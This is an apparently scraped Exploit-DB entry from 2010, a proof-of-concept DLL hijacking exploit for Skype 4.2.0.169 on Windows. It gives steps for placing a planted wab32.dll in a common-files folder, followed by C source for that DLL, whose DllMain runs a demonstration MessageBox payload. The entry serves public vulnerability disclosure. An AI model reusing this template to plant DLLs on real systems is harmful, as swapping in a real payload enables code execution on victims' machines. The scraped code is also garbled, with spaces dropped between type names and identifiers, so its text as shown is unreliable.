Skype 4.2.0.169 – ‘wab32.dll’ DLL Hijacking

• Exploit Database
• 126 阅读

• 作者： Glafkos Charalambous
  日期： 2010-08-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14766/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

  /* Exploit Title: Skype <= 4.2.0.169 DLL Hijacking Exploit (wab32.dll) Date: August 25, 2010 Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com) Version: Latest Skype v4.2.0.169 Tested on: Windows 7 x64 Ultimate Vulnerable extensions: .skype Greetz: Astalavista, OffSEC, Exploit-DB Notes: Create folders %commonprogramfiles%\system and place wab32.dll %commonprogramfiles(x86)% on x64 bit */     #include <windows.h> #define DllExport __declspec (dllexport)   BOOL WINAPIDllMain ( HANDLEhinstDLL, DWORD fdwReason, LPVOIDlpvReserved) { dll_hijack(); return 0; }   int dll_hijack() { MessageBox(0, "Skype DLL Hijacking!", "DLL Message", MB_OK); return 0; }